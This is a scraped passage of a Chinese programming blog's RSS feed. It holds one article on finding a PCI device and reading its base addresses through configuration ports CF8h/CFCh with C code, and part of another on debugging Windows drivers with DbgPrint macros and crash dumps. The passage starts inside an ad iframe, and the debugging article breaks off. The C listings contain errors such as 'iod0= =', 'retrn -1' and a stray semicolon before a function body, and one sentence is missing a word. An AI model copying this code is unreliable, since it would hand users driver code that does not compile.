src="http://googleads.g.doubleclick.net/pagead/ads?client=undefined&amp;dt=1236646225562&amp;lmt=1236646225&amp;format=undefinedxundefined&amp;output=html&amp;correlator=1236646225562&amp;url=http%3A%2F%2Fwww.cppblog.com%2Fmilkyway%2Farticles%2F17138.html&amp;ea=0&amp;ref=http%3A%2F%2Fwww.google.cn%2Fcustom%3Fhl%3Dzh-CN%26inlang%3Dzh-CN%26safe%3Dactive%26client%3Dpub-4210569241504288%26channel%3D7748181296%26cof%3DFORID%253A1%253BGL%253A1%253BS%253Ahttp%253A%252F%252Fwww.cppblog.com%252F%253BL%253Ahttp%253A%252F%252Fwww.cppblog.com%252Fimages%252Flogo.gif%253BLH%253A29%253BLW%253A149%253BLBGC%253AFFFFFF%253BLC%253A%25230000ff%253BVLC%253A%2523663399%253BGFNT%253A%25230000ff%253BGIMP%253A%25230000ff%253B%26domains%3Dcppblog.com%253Bblogjava.net%253Bcnblogs.com%26newwindow%3D1%26ie%3DGB2312%26oe%3DGB2312%26q%3Dpci%2B%25C7%25FD%25B6%25AF%26sitesearch%3Dcppblog.com%26meta%3D&amp;frm=0&amp;ga_vid=1059142221.1236646226&amp;ga_sid=1236646226&amp;ga_hid=1922644332&amp;flash=9.0.115.0&amp;u_h=768&amp;u_w=1024&amp;u_ah=738&amp;u_aw=1024&amp;u_cd=32&amp;u_tz=480&amp;u_java=true&amp;dtd=63" frameBorder=0 scrolling=no allowTransparency></iframe><iframe name=google_ads_frame marginWidth=0 marginHeight=0 src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-2299987709779770&amp;dt=1167720266531&amp;lmt=1167720266&amp;prev_fmts=160x600_as%2C120x60&amp;format=120x60&amp;output=html&amp;url=http%3A%2F%2Fblog.csdn.net%2Ffengyv%2Farchive%2F2006%2F06%2F30%2F856621.aspx&amp;ref=http%3A%2F%2Fblog.csdn.net%2Ffengyv%2Fcategory%2F192281.aspx%3FPageNumber%3D2&amp;cc=31&amp;u_h=800&amp;u_w=1280&amp;u_ah=772&amp;u_aw=1280&amp;u_cd=32&amp;u_tz=480&amp;u_java=true" frameBorder=0 width=120 scrolling=no height=60 allowTransparency></iframe><br><font size=2>2 用I/O命令访问PCI总线配置空间<br><br><img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/fengyv/2b.gif"><br><br></font></font></span><span style="FONT-SIZE: 12px"><font color=#000000><font size=2>要访问PCI总线设备的配置空间，必须先查找该设备。查找的基本根据是各PCI设备的配置空间里都存有特定的设备号（Device ID）及销售商号（Vendor ID），它们占用配置空间的00h地址。而查找的目的是获得该设备的总线号和设备号。查找的基本过程如下：用I/O命令写配置空间的地址寄存器CF8h， 使其最高位为1，总线号及设备为0，功能号及寄存器号为0，即往I/O端口CF8h80000000h；然后用I/O命令读取配置空间的数据寄存器 CFCh。如果该寄存器值与该PCI设备的Device ID及Vendor ID不相符，则依次递增设备号/总线号，重复上述操作直到找到该设备为止。如果查完所有的设备号/总线号（1～5）仍不能找到该设备，则应当考虑硬件上的 问题。对于多功能设备，只要设备配置寄存器相应的功能号值，其余步骤与单功能设备一样。<br><br>如查找设备号为9054h，销售商号为10b5的单功能PCI设备，编写的程序如下：<br><br></font></font></span>
<div class=postText><span style="FONT-SIZE: 12px"><font color=#000000><font size=2><font color=#000000>
<div class=smalltxt style="FONT-WEIGHT: bold; MARGIN-LEFT: 2em; MARGIN-RIGHT: 2em">
<div style="FLOAT: left">CODE:</div>
</div>
<div class=altbg2 id=code0 style="CLEAR: both; BORDER-RIGHT: rgb(105,140,195) 1px solid; PADDING-RIGHT: 10px; BORDER-TOP: rgb(105,140,195) 1px solid; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; MARGIN: 3px 2em 2em; BORDER-LEFT: rgb(105,140,195) 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: rgb(105,140,195) 1px solid">char bus;char device;<br><br>unsigned int ioa0,iod;<br><br>int scan( )<br><br>{<br><br>bus=0;device=0;<br><br>for(char i=0;i&lt;5;i++) {<br><br>for(char j=0;j&lt;32;j++) {<br><br>bus=i; device=j;<br><br>ioa0=0x80000000+bus*0x10000<br><br>+(device*8)*0x100;<br><br>_outpd(0xcf8,ioa0);<br><br>iod=_inpd(0xcfc);<br><br>if (iod0= =0x905410b5) return 0;<br><br>}<br><br>}<br><br>retrn -1<br><br>}</div>
</font></font></font></span><span style="FONT-SIZE: 12px"><font color=#000000><font size=2>调用子程序scan( )，如果返回值为-1，则没有找到该PCI设备。如果返回值为0，则找到了该PCI设备。该设备的总线号和设备号分别在全局变量bus和device中， 利用这两个变量即可轻易对该设备的配置空间进行访问，从而得到分配的资源信息。假设该PCI设备占用了4个资源空间，分别对应于配置空间10h～1ch， 其中前两个为I/O空间，后两个为内存空间，若定义其基地址分别为ioaddr1,ioaddr2,memaddr1,memaddr2,相应的程序如 下：<br><br></font></font></span><span style="FONT-SIZE: 12px"><font color=#000000><font size=2><font color=#000000>
<div class=smalltxt style="FONT-WEIGHT: bold; MARGIN-LEFT: 2em; MARGIN-RIGHT: 2em">
<div style="FLOAT: left">CODE:</div>
</div>
<div class=altbg2 id=code1 style="CLEAR: both; BORDER-RIGHT: rgb(105,140,195) 1px solid; PADDING-RIGHT: 10px; BORDER-TOP: rgb(105,140,195) 1px solid; PADDING-LEFT: 10px; PADDING-BOTTOM: 10px; MARGIN: 3px 2em 2em; BORDER-LEFT: rgb(105,140,195) 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: rgb(105,140,195) 1px solid">unsigned short ioaddr1,ioaddr2;<br><br>unsigned int memaddr1,memaddr2;<br><br>unsigned int iobase,ioa;<br><br>void getbaseaddr(char bus,char device);<br><br>{<br><br>iobase=0x80000000+bus*0x10000+(device*8)*0x100;<br><br>ioa=iobase+0x10;/*寻址基地址寄存器0*/<br><br>_outpd(0xcf8,ioa);<br><br>ioaddr1=(unsigned short)_inpd(0xcfc)&amp;0xfffc;<br><br>/*屏蔽低两位和高16位*/<br><br>ioa=iobase+0x14; /*寻址基地址寄存器1*/<br><br>_outpd(0xcf8,ioa);<br><br>ioaddr2=(unsigned short)_inpd(0xcfc)&amp;0xfffc;<br><br>ioa=iobase+0x18;/*寻址基地寄存器2*/<br><br>_outpd(0xcf8,ioa);<br><br>memaddr1=_inpd(0xcfc) &amp; 0xfffffff0;<br><br>/*屏蔽低4位*/<br><br>ioa=iobase+0x1c; /*寻址基地址寄存器3*/<br><br>_outpd(0xcf8,ioa);<br><br>memaddr2=_inpd(0xcfc) &amp; 0xfffffff0;<br><br>}</div>
</font></font></font></span><span style="FONT-SIZE: 12px"><font color=#000000><font size=2>对于I/O基地址，最低两位D0、D1固定为01，对地址本身无效，应当被屏蔽。对PC-AT兼容机，I/O有效地址为16位，因此高位也应被屏蔽。对于 内存地址，最低位D0固定为0，而D1～D3用于指示该地址的一些物理特性[1]，因此其低4位地址应当被屏蔽。需要指出的是该内存地址是系统的物理地 址，在WINDOWS运行于保护模式时，需要经过转换得到相应的线性地址才能对该内存空间进行直接读写。介绍该转换方法的相关文章较为常见，此处不再赘 述。<br><br>上述程序给出了读取配置空间里的基地址的方法。另有相当多PCI设备通过配置空间的设备关联区来设置该设备的工作状态，可轻易地用I/O命令进行相应的设置，无须编写繁杂的驱动程序。在开发PCI视频图像采集卡的过程中，该方法得到了实际应用。</font></font></span></div>
<img src ="http://www.cppblog.com/binghuo/aggbug/76077.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:52 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76077.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>驱动调试的一般性技巧</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76076.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:48:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76076.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76076.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76076.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76076.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76076.html</trackback:ping><description><![CDATA[<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">一般性调试技巧包括打印调试信息、查看</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件等。这些方法在调试驱动中比较常见，使用也比较简单。</span>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>1</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．打印调试信息</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">对于开发驱动程序来说，最简单的调试方法就是打印出调试信息。因为驱动程序很难像应用程序那样由一般的调试器调试，因此，打印调试信息是运用最为广泛的调试技巧。</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">打印调试信息需要使用</span><span lang=EN-US>DbgPrint</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">函数，使用方法类似于</span><span lang=EN-US>c</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">函数</span><span lang=EN-US>printf</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。另外，还有一个宏</span><span lang=EN-US>KdPrint</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，在</span><span lang=EN-US>checked</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">版本中，它对应着</span><span lang=EN-US>DbgPrint</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">函数，而在</span><span lang=EN-US>free</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">版本中，它不做任何操作。</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如果希望不管是在</span><span lang=EN-US>checked</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">版本还是</span><span lang=EN-US>free</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">版本，都希望自己可以控制调试信息的输出，那我们可以这样的方式实现，通过宏开关定义，如下所示：</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">//</span><span style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">打印错误信息<span lang=EN-US><o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #010001">FLAG_DEBUG_ERROR<o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">//</span><span style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">打印函数进入退出信息<span lang=EN-US><o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #010001">FLAG_DEBUG_FUNC<o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">//</span><span style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">打印其它信息<span lang=EN-US><o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #010001">FLAG_DEBUG_INFO<o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: #010001; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#if</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"> <span style="COLOR: blue">defined</span> (<span style="COLOR: #010001">FLAG_DEBUG_ERROR</span>)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-spacerun: yes">&nbsp; </span><span style="COLOR: #010001">DEBUG_ERROR</span>(<span style="COLOR: #010001">fmt</span>)<span style="mso-tab-count: 1">&nbsp;&nbsp; </span>{ <span style="COLOR: #010001">DbgPrint</span> <span style="COLOR: #010001">fmt</span> ;}<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#else<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: gray; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define<span style="mso-spacerun: yes">&nbsp; </span>DEBUG_ERROR(fmt)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#endif<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#if</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"> <span style="COLOR: blue">defined</span> (<span style="COLOR: #010001">FLAG_DEBUG_FUNC</span>)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-spacerun: yes">&nbsp; </span><span style="COLOR: #010001">DEBUG_FUNC</span>(<span style="COLOR: #010001">fmt</span>)<span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp; </span>{ <span style="COLOR: #010001">DbgPrint</span> <span style="COLOR: #010001">fmt</span> ;}<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#else<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: gray; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define<span style="mso-spacerun: yes">&nbsp; </span>DEBUG_FUNC(fmt)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#endif<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#if</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"> <span style="COLOR: blue">defined</span> (<span style="COLOR: #010001">FLAG_DEBUG_INFO</span>)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-spacerun: yes">&nbsp; </span><span style="COLOR: #010001">DEBUG_INFO</span>(<span style="COLOR: #010001">fmt</span>)<span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp; </span>{ <span style="COLOR: #010001">DbgPrint</span> <span style="COLOR: #010001">fmt</span> ;}<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#else<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: gray; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define<span style="mso-spacerun: yes">&nbsp; </span>DEBUG_INFO(fmt)<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#endif<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align=left><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"> <span style="COLOR: #010001">INTO_FUNC</span><span style="mso-tab-count: 1">&nbsp; </span><span style="COLOR: #010001">DEBUG_FUNC</span>((<span style="COLOR: #a31515">"===&gt;&gt;&gt; %s\n"</span>, <span style="COLOR: #010001">__FUNCTION__</span>))<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">#define</span><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"> <span style="COLOR: #010001">OUT_FUNC</span><span style="mso-tab-count: 1">&nbsp;&nbsp; </span><span style="COLOR: #010001">DEBUG_FUNC</span>((<span style="COLOR: #a31515">"&lt;&lt;&lt;=== %s\n"</span>, <span style="COLOR: #010001">__FUNCTION__</span>))<o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes">查看调试信息，一般使用<span lang=EN-US>DbgView</span>工具软件。<span lang=EN-US><o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US style="FONT-SIZE: 9pt; FONT-FAMILY: 新宋体; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'; mso-no-proof: yes"><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US>2</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．存储</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">打印调试信息，可以满足大部分的调试需要，然后有时驱动经常导致蓝屏死机的情况，这样即使打印了调试信息，也没办法看到，这种情况下，可以设置</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息。所谓的</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息就是在系统崩溃之前，操作系统会将当前的调用堆栈记录成一个</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件，这个文件对以后的分析极为有用。</span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span lang=EN-US><span style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设置存储</span><span lang=EN-US>dump</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息的方法如下。</span></p>
